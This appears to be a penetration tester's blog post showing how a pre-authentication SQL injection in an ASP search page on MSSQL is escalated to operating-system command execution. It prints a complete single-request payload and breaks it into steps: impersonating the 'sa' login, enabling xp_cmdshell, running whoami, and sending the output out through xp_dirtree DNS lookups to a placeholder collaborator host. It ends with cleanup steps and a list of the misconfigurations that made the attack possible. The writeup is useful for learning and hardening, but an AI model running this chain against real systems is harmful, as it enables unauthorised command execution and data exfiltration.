---
title: escalating a preauth sqli to rce
canonical: https://mll.sh/escalating-preauth-sqli-to-rce/
published: 2026-03-19
modified: 2026-11-16
tags: [sqli, rce, pentesting]
author: miguel llamazares
---

# escalating a preauth sqli to rce

I recently escalated a preauth SQL injection on an ASP app sitting on top of MSSQL to full RCE and exfiltrated the output via DNS. All in a single messy GET request:

```http
GET /app/search/query.asp?filter=1;EXEC+AS+LOGIN='sa';EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;CREATE+TABLE+%23tmp(col+VARCHAR(999));INSERT+%23tmp+EXEC+master..xp_cmdshell+'whoami';DECLARE+@a+VARCHAR(999),@b+VARCHAR(999);SELECT+TOP+1+@a=REPLACE(REPLACE(SUBSTRING(col,1,10),CHAR(92),'-'),CHAR(32),'-')+FROM+%23tmp+WHERE+col+IS+NOT+NULL;SET+@b=CONCAT(CHAR(92),CHAR(92),@a,'.yourcollaboratorendpoint',CHAR(92),'x');EXEC+master..xp_dirtree+@b;DROP+TABLE+%23tmp;EXEC+sp_configure+'xp_cmdshell',0;RECONFIGURE;REVERT;SELECT+modified,client_id,contact+FROM+orders+o+WHERE+1=1+and+1=1+and+1=1+and+1=1 HTTP/2
```
{: .code-wrap }

Ugly? Yep. But *it werks*. Let's break it down step by step:

## step 1: impersonate the sysadmin

```sql
EXEC AS LOGIN = 'sa'
```

This is the first domino. `EXEC AS LOGIN` lets you impersonate another SQL Server login, and `sa` is the built-in sysadmin account. If the current database user has been granted the `IMPERSONATE` privilege on `sa` (or if permissions are just a disaster, which they were), this gives you full sysadmin context for everything that follows.

Why does this matter? Because most of the fun stuff (enabling `xp_cmdshell`, running OS commands) requires sysadmin privileges. Without this step, the rest of the chain falls apart.

Scott Sutherland from [NetSPI documented this escalation path extensively](https://www.netspi.com/blog/technical-blog/network-pentesting/hacking-sql-server-stored-procedures-part-2-user-impersonation/), and there's even a Metasploit module for it (`mssql_escalate_execute_as`). It's not exotic. It's just frequently overlooked during hardening.

## step 2: enable xp_cmdshell

```sql
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

`xp_cmdshell` is a system stored procedure that lets MSSQL execute operating system commands. It's disabled by default for a reason[^1]. Enabling it requires sysadmin (which we just got via impersonation) and a call to `sp_configure` followed by `RECONFIGURE` to apply the change at runtime.

One important thing: before overwriting the config, I tested whether `xp_cmdshell` was already enabled or not. You don't want to blindly flip settings and leave traces. In this case it was off, so enabling it was necessary.

Normally you'd also need `show advanced options` set to 1 first. In this environment it was already enabled. If it's not, you'd prepend:

```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
```

## step 3: run whoami and store the output

```sql
CREATE TABLE #tmp (col VARCHAR(999));
INSERT #tmp EXEC master..xp_cmdshell 'whoami';
```

Here's the thing about `xp_cmdshell` in a stacked query injection: the output doesn't come back to you in the HTTP response. You're injecting *after* the original query, so whatever `xp_cmdshell` returns just vanishes into the void.

The workaround: create a temp table (`#tmp`), execute `whoami`, and dump the output into that table. Now the data lives in the database where we can manipulate it.

`#tmp` is a session-scoped temporary table, meaning it only exists for the duration of our connection and doesn't pollute the actual schema. Nice and clean.

## step 4: exfiltrate via dns

This is the fun part.

```sql
DECLARE @a VARCHAR(999), @b VARCHAR(999);

SELECT TOP 1 @a = REPLACE(REPLACE(SUBSTRING(col, 1, 10), CHAR(92), '-'), CHAR(32), '-')
FROM #tmp
WHERE col IS NOT NULL;

SET @b = CONCAT(CHAR(92), CHAR(92), @a, '.yourcollaboratorendpoint', CHAR(92), 'x');

EXEC master..xp_dirtree @b;
```

Let me unpack each line:

1. **grabbing and sanitizing the output:** we take the first 10 characters from our `whoami` result. `CHAR(92)` is a backslash and `CHAR(32)` is a space, both of which break DNS labels, so we replace them with dashes. DNS labels have a maximum length of 63 characters per [RFC 1035](https://www.rfc-editor.org/rfc/rfc1035), and they can't contain spaces or backslashes, so sanitization is mandatory.

    Why only 10 chars? Because `whoami` on a windows box returns something like `NT SERVICE\MSSQLSERVER` or `DOMAIN\username`. The first 10 chars are enough to confirm execution context without hitting DNS label edge cases. For a full exfil of longer data, you'd chunk it across multiple requests or hex-encode it[^2].

2. **building the UNC path:** we construct a UNC path like `\\sanitized-output.yourcollaboratorendpoint\x`. `CHAR(92)` is `\`, so we're building the double-backslash prefix character by character. This avoids any URL encoding headaches in the GET parameter.

3. **triggering the DNS lookup:** `xp_dirtree` is an undocumented stored procedure whose original purpose is listing files in a directory. but when you point it at a UNC path, MSSQL tries to resolve the hostname via DNS. this is the classic out-of-band (OOB) exfiltration channel for MSSQL injection. the DNS query lands on your Burp Collaborator (or [interactsh](https://github.com/projectdiscovery/interactsh), or your own authoritative DNS server), and the exfiltrated data shows up as a subdomain prefix.

## step 5: clean up

```sql
DROP TABLE #tmp;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
REVERT;
```

This is the part most people skip, and it's the part that separates a professional engagement from a freaking mess.

`DROP TABLE #tmp` removes the temp table (it would die at session end anyway, but let's be explicit). Then we disable `xp_cmdshell` again, putting the config back how we found it. Finally, `REVERT` drops the `sa` impersonation and returns to the original login context.

Leave things the way you found them. Always.

## step 6: the trailing select

```sql
SELECT modified, client_id, contact
FROM orders o
WHERE 1=1 AND 1=1 AND 1=1 AND 1=1
```

This isn't part of the exploit. This is *structural padding*.

The original query expected a `WHERE` clause filter, and our injection sits right in the middle of it. Without a syntactically valid `SELECT` at the end, the whole thing blows up with a SQL error. The `1=1 AND 1=1` chain is just filler to keep the parser happy[^3].

I managed to infer the table and column names because the app gave verbose SQL error messages. Those errors were the initial breadcrumb that led to the whole chain, kek.

## jackpot

So if everything goes right, you see a DNS hit for something like:

![rce poc](/assets/img/escalating-preauth-sqli-to-rce/01_collab-hit.png)

Yay! This confirms the SQL Server service account is singing for us. 💅🏻

## the full chain

<figure class="diagram" data-animated markdown="0">
<div class="diagram-frame">
<svg viewBox="0 0 960 680" role="img" aria-labelledby="sqli-title sqli-desc">
<title id="sqli-title">Preauth SQL injection to RCE chain</title>
<desc id="sqli-desc">An attacker sends a stacked query to an ASP web app, which forwards it to MSSQL. MSSQL impersonates sa, enables xp_cmdshell, runs whoami into a temp table, builds a UNC path from the output, and triggers a DNS lookup through xp_dirtree. The collaborator receives the DNS hit, and MSSQL cleans up behind itself.</desc>
<defs>
<marker id="sqli-arr" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" markerUnits="userSpaceOnUse" orient="auto-start-reverse"><path d="M1 1.5 9 5 1 8.5Z" fill="var(--border-medium)"/></marker>
</defs>

<line class="d-lifeline" x1="95" y1="56" x2="95" y2="650"/>
<line class="d-lifeline" x1="350" y1="56" x2="350" y2="650"/>
<line class="d-lifeline" x1="600" y1="56" x2="600" y2="650"/>
<line class="d-lifeline" x1="850" y1="56" x2="850" y2="650"/>

<g class="d-card is-soft" style="--d-accent: var(--d-red)">
<rect class="d-card-bg" x="20" y="14" width="150" height="42" rx="9"/>
<text class="d-card-title" x="95" y="33" text-anchor="middle">attacker</text>
<text class="d-card-sub" x="95" y="47" text-anchor="middle">one GET request</text>
</g>
<g class="d-card is-soft" style="--d-accent: var(--d-blue)">
<rect class="d-card-bg" x="270" y="14" width="160" height="42" rx="9"/>
<text class="d-card-title" x="350" y="33" text-anchor="middle">web app</text>
<text class="d-card-sub" x="350" y="47" text-anchor="middle">ASP · search filter</text>
</g>
<g class="d-card is-soft" style="--d-accent: var(--d-purple)">
<rect class="d-card-bg" x="520" y="14" width="160" height="42" rx="9"/>
<text class="d-card-title" x="600" y="33" text-anchor="middle">mssql</text>
<text class="d-card-sub" x="600" y="47" text-anchor="middle">stacked queries</text>
</g>
<g class="d-card is-soft" style="--d-accent: var(--d-green)">
<rect class="d-card-bg" x="770" y="14" width="160" height="42" rx="9"/>
<text class="d-card-title" x="850" y="33" text-anchor="middle">collaborator</text>
<text class="d-card-sub" x="850" y="47" text-anchor="middle">DNS · out of band</text>
</g>

<path class="d-arrow" d="M95 108 H342" marker-end="url(#sqli-arr)"/>
<path class="d-run" pathLength="1" d="M95 108 H342" style="--d-accent: var(--d-red); --d-delay:.2s"/>
<text class="d-label" x="220" y="86" text-anchor="middle">GET /app/search/query.asp</text>
<text class="d-label-strong" x="220" y="99" text-anchor="middle">filter=1;{stacked payload}</text>

<path class="d-arrow" d="M350 148 H592" marker-end="url(#sqli-arr)"/>
<path class="d-run" pathLength="1" d="M350 148 H592" style="--d-accent: var(--d-red); --d-delay:.7s"/>
<text class="d-label" x="471" y="137" text-anchor="middle">executes stacked queries</text>

<g class="d-card is-accent is-soft" style="--d-accent: var(--d-red)">
<rect class="d-card-bg" x="470" y="176" width="260" height="52" rx="7"/>
<text class="d-card-title" x="600" y="196" text-anchor="middle">EXEC AS LOGIN = 'sa'</text>
<text class="d-card-sub" x="600" y="212" text-anchor="middle">impersonate sysadmin</text>
<rect class="d-glow" x="470" y="176" width="260" height="52" rx="7" fill="none" stroke="var(--d-red)" stroke-width="1.7" style="--d-delay:1.2s"/>
</g>

<g class="d-card is-accent" style="--d-accent: var(--d-red)">
<rect class="d-card-bg" x="470" y="244" width="260" height="52" rx="7"/>
<text class="d-card-title" x="600" y="264" text-anchor="middle">sp_configure 'xp_cmdshell', 1</text>
<text class="d-card-sub" x="600" y="280" text-anchor="middle">RECONFIGURE</text>
<rect class="d-glow" x="470" y="244" width="260" height="52" rx="7" fill="none" stroke="var(--d-red)" stroke-width="1.7" style="--d-delay:1.7s"/>
</g>

<g class="d-card is-accent" style="--d-accent: var(--d-orange)">
<rect class="d-card-bg" x="470" y="312" width="260" height="60" rx="7"/>
<text class="d-card-title" x="600" y="332" text-anchor="middle">CREATE #tmp; INSERT EXEC</text>
<text class="d-card-sub" x="600" y="348" text-anchor="middle">xp_cmdshell 'whoami'</text>
<text class="d-card-sub" x="600" y="362" text-anchor="middle">output parked in a temp table</text>
<rect class="d-glow" x="470" y="312" width="260" height="60" rx="7" fill="none" stroke="var(--d-orange)" stroke-width="1.7" style="--d-delay:2.2s"/>
</g>

<g class="d-card is-accent" style="--d-accent: var(--d-orange)">
<rect class="d-card-bg" x="470" y="388" width="260" height="66" rx="7"/>
<text class="d-card-title" x="600" y="408" text-anchor="middle">sanitize → UNC path</text>
<text class="d-card-sub" x="600" y="424" text-anchor="middle">\\&lt;out&gt;.collaborator\x</text>
<text class="d-card-sub" x="600" y="438" text-anchor="middle">xp_dirtree triggers DNS</text>
<rect class="d-glow" x="470" y="388" width="260" height="66" rx="7" fill="none" stroke="var(--d-orange)" stroke-width="1.7" style="--d-delay:2.7s"/>
</g>

<path class="d-arrow" d="M600 480 H842" marker-end="url(#sqli-arr)"/>
<path class="d-run" pathLength="1" d="M600 480 H842" style="--d-accent: var(--d-green); --d-delay:3.2s"/>
<text class="d-label" x="721" y="469" text-anchor="middle">DNS lookup: &lt;out&gt;.yourcollaborator.net</text>

<path class="d-arrow" d="M850 530 H103" marker-end="url(#sqli-arr)" stroke-dasharray="5 5"/>
<path class="d-run" pathLength="1" d="M850 530 H103" style="--d-accent: var(--d-green); --d-delay:3.8s"/>
<text class="d-label-strong" x="476" y="519" text-anchor="middle">DNS hit — exfiltrated data</text>

<g class="d-card is-accent" style="--d-accent: var(--d-green)">
<rect class="d-card-bg" x="470" y="560" width="260" height="52" rx="7"/>
<text class="d-card-title" x="600" y="580" text-anchor="middle">DROP #tmp · xp_cmdshell 0</text>
<text class="d-card-sub" x="600" y="596" text-anchor="middle">REVERT · leave it as you found it</text>
<rect class="d-glow" x="470" y="560" width="260" height="52" rx="7" fill="none" stroke="var(--d-green)" stroke-width="1.7" style="--d-delay:4.4s"/>
</g>
</svg>
</div>
<figcaption><strong>One GET request, one long detour through MSSQL.</strong> The app hands the stacked string to the database, <code>EXEC AS LOGIN</code> borrows sysadmin, <code>xp_cmdshell</code> runs <code>whoami</code> into a temp table, and <code>xp_dirtree</code> turns the output into a DNS label that lands in the collaborator. Then the chain puts every setting back.</figcaption>
</figure>

## why this worked

Before we wrap, let's give a 👏 round of applause 👏 to all the misconfigs that made this possible:

1. **preauth SQL injection** in a search parameter. No input validation, no parameterized queries.
2. **stacked queries supported.** MSSQL supports them natively, and the app didn't strip semicolons.
3. **verbose SQL errors** returned to the client. Free schema intel.
4. **IMPERSONATE privilege on sa** granted to the application's database user. This should never happen in production.
5. **DNS egress allowed.** The server could resolve external hostnames from well-known OOB domains (burp), which is all `xp_dirtree` needs.

[^1]: If this seems fine to you, please close this tab and reconsider your career choices.
[^2]: Ryan Wendel's [writeup](https://www.ryanwendel.com/2020/02/20/dns-exfiltration-thru-blind-sql-injection-in-a-mssql-environment/) covers hex-encoding and chunking across multiple DNS requests in detail. The pentestmonkey [post](https://pentestmonkey.net/blog/mssql-dns) also documents the 63 char per label / 248 total length limits.
[^3]: tbh, I don't know why it needed more than a single `1=1`. It was inferred by trial and error.
